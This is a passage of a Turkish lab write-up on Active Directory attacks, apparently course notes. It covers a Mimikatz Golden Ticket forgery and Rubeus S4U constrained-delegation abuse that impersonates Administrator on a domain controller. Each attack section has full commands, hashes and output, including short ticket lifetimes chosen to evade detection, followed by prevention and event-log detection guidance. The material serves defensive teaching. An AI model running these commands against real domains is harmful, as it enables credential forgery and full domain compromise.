Mimikatz ile sahte bilet oluşturuluyor:</p><pre>C:\Mimikatz&gt; mimikatz.exe</pre><pre>mimikatz # kerberos::golden /domain:krysthal.local /sid:S-1-5-21-1518138621-4282902758-752445584 /rc4:db0d0630064747072a7da3f7c3b4069e /user:Administrator /id:500 /renewmax:7 /endin:8 /ptt</pre><p>Parametrelerin tek tek açıklaması:</p><ul><li>/domain:krysthal.local → hedef domain</li><li>/sid:S-1-5-21-... → domain SID&#39;i (Adım 2&#39;den)</li><li>/rc4:db0d06... → krbtgt NTLM hash&#39;i (Adım 1&#39;den)</li><li>/user:Administrator → sahte bileti oluşturduğumuz kullanıcı</li><li>/id:500 → Administrator&#39;ın RID&#39;si</li><li>/renewmax:7 → bilet en fazla 7 dakika yenilenebilir (tespit edilmemek için kısa)</li><li>/endin:8 → bilet 8 dakika sonra sona erer (tespit edilmemek için kısa)</li><li>/ptt → Pass The Ticket — bileti doğrudan mevcut oturuma enjekte et</li></ul><p>Çıktı:</p><pre>User      : Administrator<br>Domain    : krysthal.local (KRYSTHAL)<br>SID       : S-1-5-21-1518138621-4282902758-752445584<br>User Id   : 500<br>Groups Id : *513 512 520 518 519<br>ServiceKey: db0d0630064747072a7da3f7c3b4069e - rc4_hmac_nt<br>Lifetime  : 13/10/2026 06.28.43 ; 13/10/2026 06.36.43 ; 13/10/2026 06.35.43<br>-&gt; Ticket : ** Pass The Ticket **</pre><pre> * PAC generated<br> * PAC signed<br> * EncTicketPart generated<br> * EncTicketPart encrypted<br> * KrbCred generated</pre><pre>Golden ticket for &#39;Administrator @ krysthal.local&#39; successfully submitted for current session</pre><p><strong>Groups Id</strong> alanında görünen sayılar (*513 512 520 518 519), Mimikatz&#39;ın otomatik olarak atadığı yüksek yetkili grup RID&#39;leridir: Domain Users (513), Domain Admins (512), Group Policy Creator Owners (520), Schema Admins (518), Enterprise Admins (519).</p><blockquote><em>📸 </em><strong><em>SS AL → Sayfa 61 üst yarı:</em></strong><em> Mimikatz çıktısında bilet oluşturma adımları (PAC generated, PAC signed, EncTicketPart generated/encrypted, KrbCred generated) ve “Golden ticket successfully submitted” onayı. Kırmızı kutu ile “Ticket generated and submitted in current cmd session” notu işaretli.</em></blockquote><p><strong>Adım 4 — Biletin çalıştığını doğrulama (klist):</strong></p><p>Mimikatz’dan çıktıktan sonra klist komutuyla mevcut oturumdaki biletler listeleniyor:</p><pre>mimikatz # exit<br>Bye!</pre><pre>C:\Mimikatz&gt; klist</pre><pre>Current LogonId is 0:0x9cbd6</pre><pre>Cached Tickets: (1)</pre><pre>#0&gt;     Client: Administrator @ krysthal.local<br>        Server: krbtgt/krysthal.local @ krysthal.local<br>        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)<br>        Ticket Flags 0x40e00000 -&gt; forwardable renewable initial pre_authent<br>        Start Time: 10/13/2026 06.28.43 (local)<br>        End Time:   10/13/2026 06.36.43 (local)<br>        Renew Time: 10/13/2026 06.35.43 (local)</pre><p>Burada önemli alanlar:</p><ul><li>Client: Administrator @ krysthal.local → sahte biletin kime ait göründüğü</li><li>Server: krbtgt/krysthal.local → biletin krbtgt tarafından imzalandığı</li><li>Encryption Type: RSADSI RC4-HMAC(NT) → RC4 şifreleme kullanıldığı</li><li>End Time ve Renew Time → /endin:8 ve /renewmax:7 parametrelerimizle uyumlu kısa ömür</li></ul><blockquote><em>📸 </em><strong><em>SS AL → Sayfa 61 alt yarı:</em></strong><em> klist çıktısında Administrator @ krysthal.local için sahte bilet görünüyor, RC4-HMAC şifreleme tipi ve 8 dakikalık kısa ömür.</em></blockquote><p><strong>Adım 5 — Bileti kullanarak DC’ye erişme:</strong></p><p>Sahte biletin gerçekten çalıştığını doğrulamak için, DC1&#39;in C$ paylaşımı listeleniyor:</p><pre>C:\Mimikatz&gt; dir \\dc1\c$</pre><pre> Volume in drive \\dc1\c$ has no label.<br> Volume Serial Number is 2CD0-9665</pre><pre> Directory of \\dc1\c$</pre><pre>15/10/2026  08.30    &lt;DIR&gt;          DFSReports<br>13/10/2026  13.23    &lt;DIR&gt;          Mimikatz<br>01/09/2026  11.49    &lt;DIR&gt;          PerfLogs<br>28/11/2026  01.59    &lt;DIR&gt;          Program Files<br>01/09/2026  04.02    &lt;DIR&gt;          Program Files (x86)<br>13/12/2026  02.22    &lt;DIR&gt;          scripts<br>07/08/2026  11.31    &lt;DIR&gt;          Users<br>28/11/2026  02.27    &lt;DIR&gt;          Windows<br>               0 File(s)              0 bytes<br>               8 Dir(s)  44.947.984.384 bytes free</pre><p>Saldırgan, sahte bilet ile Domain Controller’ın <strong>tüm dosya sistemine</strong> erişim sağlamış durumda. infa kullanıcısının normalde asla göremeyeceği DC1&#39;in C: sürücüsü, sahte Administrator bileti sayesinde tamamen açık.</p><blockquote><em>📸 </em><strong><em>SS AL → Sayfa 62:</em></strong><em> dir \dc1\c$ çıktısında DC1&#39;in dosya sistemi listeleniyor — DFSReports, Mimikatz, PerfLogs, Program Files vb. klasörler görünüyor.</em></blockquote><h4>Önleme (Prevention)</h4><p>Sahte bilet oluşturmayı önlemek <strong>zordur</strong> — çünkü KDC de geçerli biletleri <strong>aynı prosedürle</strong> oluşturur. Saldırgan gerekli tüm bilgilere sahip olduğunda, bilet üretebilir. Yine de yapılması gereken birkaç şey var:</p><p><strong>1) Ayrıcalıklı kullanıcıların herhangi bir cihazdan kimlik doğrulamasını engelleyin.</strong> PAW (Privileged Access Workstation) kullanın — yüksek yetkili hesaplar sadece bu iş istasyonlarından giriş yapabilsin.</p><p><strong>2) </strong><strong>krbtgt hesabının parolasını periyodik olarak sıfırlayın.</strong> Bu hash&#39;in gizliliği Active Directory güvenliğinin temelidir. Parola sıfırlanırken (parolanın gücünden bağımsız olarak) AD bunu her zaman <strong>rastgele, kriptografik olarak güvenli</strong> bir değerle değiştirir. Microsoft&#39;un <strong>KrbtgtKeys.ps1</strong> betiğini kullanmak şiddetle önerilir çünkü:</p><ul><li>Parola değişikliği öncesinde ortamı denetleyen bir <strong>audit modu</strong> vardır</li><li>Tüm DC’ler arasında <strong>anlık replikasyonu zorlar</strong> — böylece tüm DC’ler yeni değeri anında alır ve potansiyel iş kesintileri azalır</li></ul><p><strong>3) SIDHistory filtrelemesini etkinleştirin.</strong> Forest içindeki domain’ler arasında SIDHistory filtrelemesi uygulanarak, alt domain’den üst domain’e yetki yükseltme engellenir. Yükseltme yolu, SIDHistory özelliğini ayrıcalıklı bir grubun SID’i olarak ayarlamayı (örneğin Enterprise Admins) içerir. <strong>Ama dikkat:</strong> Bu, domain migrasyonlarında sorunlara yol açabilir.</p><h4>Tespit (Detection)</h4><p>Kullanıcı davranışını korelasyonlamak, sahte biletlerin kötüye kullanımını tespit etmenin <strong>en iyi tekniğidir.</strong> Bir kullanıcının normalde nereden ve ne zaman giriş yaptığını biliyorsak, anormal davranışları alarm olarak işaretlemek kolaydır.</p><p><strong>Kritik bir detay:</strong> Domain Controller’lar, bir tehdit aktörü ele geçirilmiş makineden Golden Ticket oluşturduğunda <strong>event loglamaz.</strong> Ancak, saldırgan bu bileti kullanarak <strong>başka bir sisteme erişmeye çalıştığında</strong>, hedef sistemde başarılı giriş event’leri görünür.</p><p><strong>Birinci tespit noktası — Event ID 4624/4625:</strong></p><p>Eğer organizasyon PAW kullanıyorsa, ayrıcalıklı kullanıcıların <strong>bu makineler dışından</strong> kimlik doğrulaması yapmaması beklenir. Farklı bir IP’den gelen giriş = alarm.</p><p>Lab ortamında Golden Ticket kullanılarak başka bir sisteme erişildiğinde Event ID 4624 üretiliyor:</p><pre>Event 4624 — Başarılı oturum açma</pre><pre>Logon Type:            3<br>Account Name:          Administrator<br>Account Domain:        krysthal.local<br>Logon GUID:            {76f46441-2072-b710-591b-1ae0adc7a0c0}<br>Source Network Address: 172.16.18.25   ← Ele geçirilmiş makine (PAW değil!)</pre><p>Event normal görünüyor — ama kaynak IP adresi PAW iş istasyonu değil, sıradan bir makine. Kullanıcı adını kaynak adresiyle korelasyonlayarak anormal aktivite tespit edilebilir.</p><p><strong>İkinci tespit noktası — Önceki TGT olmadan TGS isteği:</strong></p><p>dir \\dc1\c$ komutu çalıştırıldığında DC üzerinde <strong>iki TGS bileti</strong> üretildi (Event ID 4769). Saldırı senaryosunda bu iki bileti incelemek gerekiyor:</p><p><strong>Ticket 1 (DC1$ servisi için):</strong></p><pre>Event 4769</pre><pre>Account Name:           Administrator@krysthal.local<br>Account Domain:         krysthal.local<br>Logon GUID:             {3c6ed6ab-5fa8-6970-42fe-302018cc30a0}</pre><pre>Service Name:           DC1$<br>Service ID:             KRYSTHAL\DC1$</pre><pre>Client Address:         ::ffff:172.16.18.25<br>Client Port:            56212<br>Ticket Encryption Type: 0x12</pre><p><strong>Ticket 2 (krbtgt servisi için):</strong></p><pre>Event 4769</pre><pre>Account Name:           Administrator@krysthal.local<br>Account Domain:         krysthal.local<br>Logon GUID:             {3c6ed6ab-5fa8-6970-42fe-302018cc30a0}</pre><pre>Service Name:           krbtgt<br>Service ID:             KRYSTHAL\krbtgt</pre><pre>Client Address:         ::ffff:172.16.18.25<br>Client Port:            56213<br>Ticket Encryption Type: 0x12</pre><p>İki bilet arasındaki <strong>tek fark</strong> servis adıdır (DC1$ vs krbtgt). Ancak bu biletler, Golden Ticket ile <strong>ilişkilendirilmemiş</strong> normal TGS event’leriyle <strong>tamamen aynı görünür</strong> — bu da tespiti zorlaştırır. Yine, kaynak adres korelasyonu (PAW dışı makineden geliyorsa) en güvenilir tespit yöntemidir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*7M8RkxQ0w7jIWhRDDapz_w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/384/1*kwNJ699EfY-y9ib1embUMw.png" /></figure><p><strong>Üçüncü tespit noktası — SID Filtering:</strong></p><p>Eğer domain’ler arası SID filtrelemesi etkinleştirilmişse, cross-domain yetki yükseltme denemesinde <strong>Event ID 4675</strong> üretilir.</p><h4>Önemli Not: Forest Ele Geçirilmişse Ne Yapılmalı?</h4><p>Eğer bir Active Directory forest’ı ele geçirilmişse, yapılması gerekenler:</p><ol><li><strong>Tüm kullanıcıların parolalarını sıfırlayın</strong></li><li><strong>Tüm sertifikaları iptal edin (revoke)</strong></li><li><strong>krbtgt parolasını İKİ KEZ sıfırlayın</strong> (her domain&#39;de)</li></ol><p><strong>Neden iki kez?</strong> krbtgt hesabının parola geçmişi değeri <strong>2</strong>&#39;dir — yani son iki parolayı saklar. Parolayı iki kez sıfırlayarak, eski parolaların tamamen geçmişten silinmesini sağlarsınız. Böylece başka bir DC&#39;nin eski bir parola kullanarak replikasyon yapma ihtimali ortadan kalkar.</p><p><strong>Ama kritik uyarı:</strong> İki sıfırlama arasında <strong>en az 10 saat</strong> beklenmelidir (maksimum kullanıcı bileti ömrü). Daha kısa sürede yapılırsa bazı servislerin bozulması beklenmelidir.</p><h4>Honeypot</h4><p>Bu bölümde <strong>ayrı bir Honeypot alt başlığı bulunmuyor.</strong> Golden Ticket saldırısı, zaten krbtgt hash&#39;inin ele geçirilmesini gerektirdiği için (ki bu da DCSync veya NTDS.DIT çalınmasını gerektirir), honeypot kurmanın pratik bir yolu yoktur — asıl savunma, krbtgt hash&#39;inin korunması ve düzenli sıfırlanmasıdır.</p><h4>Özet Tablosu</h4><pre>| Kriter                    | Golden Ticket                                             |<br>|---------------------------|-----------------------------------------------------------|<br>| Saldırı türü              | Kalıcılık (persistence) — ilk erişim değil                |<br>| Ön koşul                  | krbtgt hash&#39;i (DCSync veya NTDS.DIT ile elde edilir)      |<br>| Kullanılan araç           | Mimikatz (kerberos::golden)                               |<br>| Ne elde edilir             | Herhangi bir kullanıcı için sahte TGT — sınırsız yetki    |<br>| Forest genelinde yükseltme| Evet — alt domain&#39;den üst domain&#39;e geçiş mümkün           |<br>| Önleme                    | krbtgt parolasını periyodik sıfırla + SIDHistory filtrele  |<br>| Tespit                    | Event 4624/4625 (PAW korelasyonu) + Event 4675 (SID filt.)|<br>| Varsayılan bilet ömrü     | Mimikatz: 10 yıl (çok kolay tespit edilir)                |<br>| Akıllı saldırgan          | /renewmax ve /endin ile kısa ömürlü bilet oluşturur       |<br>| Forest ele geçirilmişse   | Tüm parolalar sıfırla + krbtgt 2 kez sıfırla (10 sa ara) |</pre><h3>BÖLÜM 11: KERBEROS CONSTRAINED DELEGATION</h3><p><strong>Kerberos Delegasyonu</strong>, bir uygulamanın <strong>farklı bir sunucuda barındırılan kaynaklara</strong> erişmesini sağlar.</p><p>Bir web sunucusu var ve arka planda bir SQL veritabanı var. Web sunucusunu çalıştıran servis hesabına veritabanına <strong>doğrudan erişim vermek yerine</strong>, o hesabın <strong>SQL sunucu servisine delege edilmesine</strong> izin verebiliriz.</p><p>Peki bu pratikte nasıl işler?</p><ol><li>Kullanıcı web sitesine giriş yapar</li><li>Web sunucusu servis hesabı, <strong>o kullanıcı adına</strong> (“on behalf of that user”) SQL sunucu servisine erişim ister</li><li>Kullanıcı, kendisine tahsis edilmiş veritabanı içeriğine erişir</li></ol><p><strong>Buradaki kazanç:</strong> Web sunucusu servis hesabının <strong>kendisine hiçbir erişim atamak zorunda kalmazsınız.</strong> Yetki kullanıcının kendisinden gelir, servis hesabından değil.</p><h4>Active Directory’deki Üç Delegasyon Türü</h4><p>Tür Yapılandırma nerede tutulur Ne yapabilir <strong>Unconstrained Delegation</strong> — En izin verici / en geniş. Bir hesabın <strong>herhangi bir servise</strong> delegasyon yapmasına izin verir <strong>Constrained Delegation</strong> <strong>Kullanıcı hesabının özelliklerinde</strong> Hesabın <strong>hangi servis(ler)e</strong> delegasyon yapabileceği belirtilir <strong>Resource-based Delegation</strong> <strong>Delegasyonun yapılacağı bilgisayar nesnesinde</strong> Bilgisayar şu şekilde yapılandırılır: <em>“Ben sadece şu hesaba/hesaplara güveniyorum”</em></p><p>**Önemli</p><blockquote><em>Herhangi bir delegasyon türünün </em><strong><em>olası bir güvenlik riski</em></strong><em> olduğunu bilmek ve anlamak son derece önemlidir; gerekli olmadıkça delegasyondan </em><strong><em>kaçınmalıyız.</em></strong></blockquote><p><strong>Üretim ortamlarında pratik durum (doküman bunu özellikle belirtiyor):</strong></p><ul><li><strong>Resource-based delegation</strong>’ın bir yönetici tarafından üretim ortamında yapılandırıldığını görmek <strong>nadirdir</strong>. Bunu genellikle <strong>tehdit aktörleri</strong> cihazları ele geçirmek için kötüye kullanır.</li><li>Buna karşılık <strong>Unconstrained ve Constrained</strong> delegasyonlara üretim ortamlarında <strong>sıkça rastlanır.</strong></li></ul><h4>Saldırı (Attack)</h4><p>Doküman burada net bir sınır çiziyor: <strong>Yalnızca constrained delegation istismarı</strong> gösterilecek.</p><p>Saldırının Çalışma Mantığı</p><p>Bir hesap delegasyon için güvenilir olduğunda, KDC’ye şöyle bir istek gönderir:</p><blockquote>“Bana YYYY kullanıcısı için bir Kerberos bileti ver, çünkü ben bu kullanıcıyı ZZZZ servisine delege etmeye yetkiliyim.”</blockquote><p>Ve KDC, YYYY kullanıcısı için bir Kerberos bileti üretir — <strong>YYYY kullanıcısının parolası hiç sağlanmadan.</strong></p><p><strong>Protokol Geçişi (Protocol Transition):</strong> Doküman burada çok önemli bir genişleme anlatıyor. Kullanıcı özelliklerinde yapılandırılmamış olsa bile <strong>başka bir servise</strong> delegasyon yapmak da mümkündür. Örnek olarak veriyor: LDAP için delegasyon yetkimiz varsa, <strong>protokol geçişi</strong> yaparak CIFS veya HTTP gibi başka herhangi bir servise de yetkilendirilebiliriz.</p><p>Yani yöneticinin “sadece şu servise izin verdim” düşüncesi, pratikte sınırlayıcı olmaktan çıkar.</p><p>Saldırı Senaryosu</p><p>Doküman şu varsayımla başlıyor: <strong>web_service</strong> kullanıcısı delegasyon için güvenilir ve <strong>ele geçirilmiş</strong> durumda. Bu hesabın parolası: <strong>MVP123</strong></p><p>Adım 1 — Delegasyon için güvenilen hesapları bulma</p><p>PowerView’in <strong>Get-NetUser</strong> fonksiyonu, domain&#39;de constrained delegation için güvenilen kullanıcı hesaplarını listelemek üzere kullanılıyor:</p><p>powershell</p><pre>PS C:\Users\infa\Downloads&gt; Get-NetUser -TrustedToAuth</pre><blockquote><strong><em>Dokümanın notu:</em></strong><em> Egzersiz boyunca </em><em>-TrustedToAuth parametresiyle numaralandırma yaparken, </em><em>C:\Users\infa\Downloads konumunda bulunan </em><strong><em>PowerView-main.ps1</em></strong><em> dosyasını kullanın.</em></blockquote><p><strong>Çıktı (tam hali):</strong></p><pre>logoncount                    : 23<br>badpasswordtime               : 12/31/1601 4:00:00 PM<br>distinguishedname             : CN=web service,CN=Users,DC=krysthal,DC=local<br>objectclass                   : {top, person, organizationalPerson, user}<br>displayname                   : web service<br>lastlogontimestamp            : 10/13/2026 2:12:22 PM<br>userprincipalname             : webservice@krysthal.local<br>name                          : web service<br>objectsid                     : S-1-5-21-1518138621-4282902758-752445584-2110<br>samaccountname                : webservice<br>codepage                      : 0<br>samaccounttype                : USER_OBJECT<br>accountexpires                : NEVER<br>countrycode                   : 0<br>whenchanged                   : 10/13/2026 9:53:09 PM<br>instancetype                  : 4<br>usncreated                    : 135866<br>objectguid                    : b89f0cea-4c1a-4e92-ac42-f70b5ec432ff<br>lastlogoff                    : 1/1/1600 12:00:00 AM<br>msds-allowedtodelegateto      : {http/DC1.krysthal.local/krysthal.local,<br>                                 http/DC1.krysthal.local, http/DC1,<br>                                 http/DC1.krysthal.local/KRYSTHAL...}<br>objectcategory                : CN=Person,CN=Schema,CN=Configuration,DC=krysthal,DC=local<br>dscorepropagationdata         : 1/1/1601 12:00:00 AM<br>serviceprincipalname          : {cvs/dc1.krysthal.local, cvs/dc1}<br>givenname                     : web service<br>lastlogon                     : 10/14/2026 2:31:39 PM<br>badpwdcount                   : 0<br>cn                            : web service<br>useraccountcontrol            : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD,<br>                                TRUSTED_TO_AUTH_FOR_DELEGATION<br>whencreated                   : 10/13/2026 8:32:35 PM<br>primarygroupid                : 513<br>pwdlastset                    : 10/13/2026 10:36:04 PM<br>msds-supportedencryptiontypes : 0<br>usnchanged                    : 143463</pre><p>web_service kullanıcısının, <strong>Domain Controller DC1</strong>&#39;e <strong>HTTP servisi</strong> için delegasyon yapmak üzere yapılandırıldığını görüyoruz.</p><p>Ve şu kritik zinciri kuruyor:</p><ol><li><strong>HTTP servisi</strong>, <strong>PowerShell Remoting</strong> çalıştırma yeteneği sağlar</li><li>Dolayısıyla web_service üzerinde kontrol elde eden <strong>herhangi bir tehdit aktörü</strong>, Active Directory&#39;deki <strong>herhangi bir kullanıcı</strong> için Kerberos bileti isteyebilir</li><li>Ve bu bileti kullanarak <strong>DC1&#39;e PowerShell Remoting üzerinden bağlanabilir</strong></li></ol><p>Adım 2 — Parolayı NTLM hash’ine çevirme</p><p>Doküman bu adımın <strong>neden gerekli</strong> olduğunu açıkça belirtiyor: Rubeus, sonrasında kullanılacak /rc4 argümanı için <strong>düz metin yerine parola hash&#39;i bekler.</strong> Bu yüzden MWP123 parolasını önce NTLM hash karşılığına çevirmemiz gerekir:</p><p>powershell</p><pre>PS C:\Users\infa\Downloads&gt; .\Rubeus.exe hash /password:MWP123</pre><p><strong>Çıktı:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cshnV0kdDjEzGM8dTHZYow.png" /></figure><p>Son satırdaki uyarı: AES ve DES hash türlerini hesaplamak istersek /user:X ve /domain:Y parametrelerinin de verilmesi gerekiyor. Bu saldırı için RC4 yeterli.</p><p>Adım 3 — Administrator hesabı için bilet alma</p><p>Şimdi Rubeus ile Administrator hesabı için bilet isteniyor:</p><p>powershell</p><pre>PS C:\Users\infa\Downloads&gt; .\Rubeus.exe s4u /user:webservice /rc4:FCDC65703DD2B0BD789977F1F3EEAECF /domain:krysthal.local /impersonateuser:Administrator /msdsspn:&quot;http/dc1&quot; /dc:dc1.krysthal.local /ptt</pre><p><strong>Çıktı:</strong></p><pre>v2.0.1</pre><pre>[*] Action: S4U</pre><pre>[*] Using rc4_hmac hash: FCDC65703DD2B0BD789977F1F3EEAECF<br>[*] Building AS-REQ (w/ preauth) for: &#39;krysthal.local\webservice&#39;<br>[+] TGT request successful!<br>[*] base64(ticket.kirbi):</pre><pre>doIFiDCCBYSgAwIBBaEDAgEWooIEnjCCBJphggSWMIIEkqADAgEFoQ0bC0VBR0xFLkxPQ0FMoiAwHqAD<br>AgECoRcwFRsGa3JidGd0GwtlYWdsZS5sb2NhbKOCBFgwggRUoAMCARKhAwIBAqKCBEYEggRCI1ghAg72<br>moqMS1skuua6aCpknKibZJ6VEsXfyTZgO5IKRDnYHnTJT6hwywSoXpcxbFDDlakB56re10E6f6H9u5Aq<br>            ...<br>            ...<br>            ...<br>[+] Ticket successfully imported!</pre><p>Çıktıdaki üç kilit satır:</p><ul><li>[*] Action: S4U → S4U uzantısı kullanılıyor</li><li>[+] TGT request successful! → bilet isteği başarılı</li><li>[+] Ticket successfully imported! → bilet oturuma içe aktarıldı</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*0JXu4G-A0oFLlsy3rfyNcg.png" /></figure><p>Adım 4 — Biletin oturuma enjekte edildiğini doğrulama</p><p>Doküman şunu söylüyor: Rubeus’un bileti mevcut oturuma enjekte ettiğini doğrulamak için klist komutunu kullanabiliriz.</p><p>powershell</p><pre>PS C:\Users\infa\Downloads&gt; klist</pre><p>Burada dikkat edilecek iki satır: Client: Administrator ve Server: http/dc1 — yani bilet artık Administrator&#39;a ait ve DC1&#39;in HTTP servisi için geçerli.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*xfCwkBmE6rrB4rrge9fekA.png" /></figure><p>Adım 5 — Domain Controller’a bağlanma</p><p>Bilet hazır olduğuna göre, <strong>Administrator hesabının kimliğine bürünerek</strong> Domain Controller’a bağlanılıyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*eptsCPowEcHTjk_aEZ-WLA.png" /></figure><p>Saldırı tamamlandı: hostname çıktısı <strong>DC1</strong>, whoami çıktısı <strong>krysthal\administrator</strong>.</p><p><strong>Dokümanın verdiği iki ek not:</strong></p><ol><li><strong>Sorun giderme:</strong> Son adım başarısız olursa — klist purge yapmamız, yeni biletler almamız ve makineyi yeniden başlatarak tekrar denememiz gerekebilir.</li><li><strong>Genişletme:</strong> <strong>/altservice</strong> argümanı ile <strong>birden fazla servis</strong> için de bilet isteyebiliriz — örneğin LDAP, CFIS, time ve host.</li></ol><h4>Önleme (Prevention)</h4><p>Doküman iyi haberle başlıyor: Microsoft, Kerberos Delegasyonunu tasarlarken <strong>birkaç koruma mekanizması uyguladı.</strong> Ancak — ve bu kritik — bunları <strong>hiçbir kullanıcı hesabında varsayılan olarak etkinleştirmedi.</strong></p><p>Delegasyon yoluyla bir kullanıcı için bilet düzenlenmesini engellemenin <strong>iki doğrudan yolu</strong> var:</p><p><strong>1) “Account is sensitive and cannot be delegated” özelliğini yapılandırın.</strong><br> Bu, <strong>tüm ayrıcalıklı kullanıcılar</strong> için yapılmalıdır.</p><p><strong>2) Ayrıcalıklı kullanıcıları “Protected Users” grubuna ekleyin.</strong><br> Bu grup üyeliği, yukarıda bahsedilen korumayı <strong>otomatik olarak uygular.</strong></p><blockquote><em>⚠️ Uyarı: Protected Users grubunu:<br> Windows Server 2012 R2 ile gelen özel bir güvenlik grubudur. Amacı, içine eklenen kullanıcılar için birden fazla güvenlik korumasını </em><strong><em>tek seferde ve otomatik olarak</em></strong><em> uygulamaktır, yani bu grup, gruba üye olan hesaplar için özel bir “sıkılaştırılmış güvenlik modu” açar.<br> </em><strong><em>Bir kullanıcıyı bu gruba eklediğinde otomatik olarak devreye giren korumalar:</em></strong></blockquote><ol><li><strong>NTLM devre dışı kalır</strong> — kullanıcı artık sadece Kerberos ile kimlik doğrulayabilir</li><li><strong>Zayıf şifreleme kapanır</strong> — Kerberos DES ve RC4 kullanılamaz, sadece AES kullanılır</li><li><strong>Delegasyon engellenir</strong> — hesap hiçbir şekilde delegasyona konu edilemez (bu bölümdeki saldırıya karşı koruma budur)</li><li><strong>Bilet ömrü kısalır ve uzatılamaz</strong> — TGT varsayılan olarak 4 saatte sona erer, yenilenemez</li><li><strong>Önbellekli kimlik bilgileri saklanmaz</strong> — makine Domain Controller’a ulaşamazsa o kullanıcı giriş yapamaz</li></ol><blockquote><strong><em>Tipik kullanım amacı:</em></strong><em> Domain Admins gibi çok yüksek yetkili hesapları, yukarıdaki gibi bilinen birçok saldırı tekniğine (Pass-the-Hash, delegasyon istismarı, Kerberoasting’in bazı türleri) karşı topluca korumak.</em></blockquote><blockquote><strong><em>Ama bir bedeli var</em></strong><em> (az önce konuştuğumuz uyarı tam burada devreye giriyor): Bu korumalar </em><strong><em>hepsi birlikte ve zorunlu</em></strong><em> olarak gelir, tek tek seçilemez. Bu yüzden gruba eklemeden önce, o hesabın NTLM’e ihtiyaç duyan bir sisteme bağlanıp bağlanmadığı veya offline çalışması gerekip gerekmediği gibi noktaların test edilmesi gerekir.<br> !!!<br> Protected Users grubu sadece delegasyonu değil; NTLM girişini, RC4/DES şifrelemeyi ve önbellekli (cached) girişleri de otomatik olarak kapatır, bilet ömrünü de kısaltır. Bu yüzden hangi uygulamaların etkileneceği önceden test edilmeden üretim ortamında kullanılması önerilmez.</em></blockquote><p>**Ek olarak:</p><p>Delegasyon için yapılandırılmış <strong>her hesabı</strong>, gerçek yetkileri ne olursa olsun (örneğin sadece bir Domain user bile olsa) <strong>son derece ayrıcalıklı</strong> olarak değerlendirmeliyiz.</p><p><strong>Kriptografik olarak güvenli parolalar şarttır</strong>, çünkü <strong>Kerberoasting’in</strong>, tehdit aktörlerine delegasyon ayrıcalıklarına sahip bir hesap kazandırmasını istemeyiz.</p><h4>Tespit (Detection)</h4><p><strong>Birinci yöntem, Kullanıcı davranışı korelasyonu:</strong></p><p>Doküman bunu “constrained delegation istismarını tespit etmenin <strong>en iyi tekniği</strong>” olarak niteliyor.</p><p>Bir kullanıcının düzenli olarak giriş yaptığı <strong>konumu ve zamanı</strong> biliyorsak, diğer (şüpheli) davranışlar için alarm kurmak kolay olur. Yukarıdaki saldırıdaki <strong>‘Administrator’</strong> hesabını düşünün: Olgun bir organizasyon <strong>PAW (Privileged Access Workstations)</strong> kullanıyorsa, ayrıcalıklı kullanıcıların bu makineler dışından kimlik doğrulaması yapmasına karşı uyanık olmalı ve <strong>Event ID 4624</strong> (başarılı oturum açma) olaylarını proaktif olarak izlemelidir.</p><p><strong>İkinci yöntem — Transited Services özelliği:</strong></p><p>Doküman burada bu bölüme özgü, çok değerli bir tespit noktası veriyor:</p><p>Bazı durumlarda, <strong>delege edilmiş bir biletle</strong> yapılan başarılı oturum açma girişimi, olay günlüğünde <strong>Transited Services</strong> özelliği altında <strong>biletin düzenleyicisi (issuer)</strong> hakkında bilgi içerir.</p><p>Bu özellik normalde, oturum açmanın bir <strong>S4U (Service For User)</strong> oturum açma sürecinden kaynaklanması durumunda doldurulur.</p><p><strong>S4U nedir?</strong> Dokümanın tanımı: Microsoft’un Kerberos protokolüne yaptığı bir uzantıdır ve <strong>bir uygulama servisinin, bir kullanıcı adına Kerberos servis bileti almasına</strong> izin verir. Hatırlayın — Rubeus’u kullandığımız saldırı akışında tam olarak bu <strong>S4U uzantısını</strong> belirtmiştik.</p><p><strong>Lab’daki örnek olay:</strong> web service kullanıcısı kullanılarak Administrator kullanıcısı için bir bilet üretildi ve bu bilet Domain Controller&#39;a bağlanmak için kullanıldı — yani yukarıdaki saldırı yolunun tam olarak kendisi:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*w_BvNkQ4GbMYVPLjCRAC_A.png" /></figure><ul><li>Account Name: Administrator ve Source Network Address: 172.16.18.25 → <strong>&quot;Correlate user and source IP&quot;</strong> (Kullanıcı ile kaynak IP&#39;yi ilişkilendir)</li><li>Transited Services: webservice@KRYSTHAL.LOCAL → <strong>&quot;User who generated the ticket via S4U&quot;</strong> (Bileti S4U ile üreten kullanıcı)</li></ul><h4>Honeypot</h4><p>Bu bölümde <strong>Honeypot alt başlığı yok.</strong> Bölüm Detection ile bitiyor ve doğrudan bir sonraki bölüme (Print Spooler &amp; NTLM Relaying) geçiyor.</p><h4>Özet Tablosu</h4><pre>| Kriter                | Kerberos Constrained Delegation                          |<br>|-----------------------|----------------------------------------------------------|<br>| Delegasyon amacı      | Uygulamanın farklı sunucudaki kaynaklara erişmesi        |<br>| 3 tür                 | Unconstrained / Constrained / Resource-based             |<br>| Yapılandırma yeri     | Constrained → kullanıcı özellikleri                      |<br>|                       | Resource-based → bilgisayar nesnesi                      |<br>| Üretimde yaygınlık    | Unconstrained ve Constrained sık, Resource-based nadir   |<br>| Bu bölümün konusu     | Sadece Constrained Delegation istismarı                  |<br>| Ele geçirilen hesap   | web_service (parola: MWP123)                           |<br>| Kilit AD özellikleri  | msds-allowedtodelegateto                                 |<br>|                       | TRUSTED_TO_AUTH_FOR_DELEGATION                           |<br>| Araçlar               | PowerView (Get-NetUser -TrustedToAuth), Rubeus (hash,s4u)|<br>| Protokol geçişi       | LDAP yetkisi → CIFS/HTTP gibi başka servislere geçiş     |<br>| Parola gerekli mi     | HAYIR — kurbanın parolası sağlanmadan bilet üretilir     |<br>| Ek servisler          | /altservice ile LDAP, CFIS, time, host                   |<br>| Önleme 1              | &quot;Account is sensitive and cannot be delegated&quot;           |<br>| Önleme 2              | Protected Users grubu (etkilerini anlamadan kullanma)    |<br>| Önleme 3              | Kriptografik güvenli parola (Kerberoasting&#39;e karşı)      |<br>| Tespit 1              | Event ID 4624 + PAW korelasyonu                          |<br>| Tespit 2              | 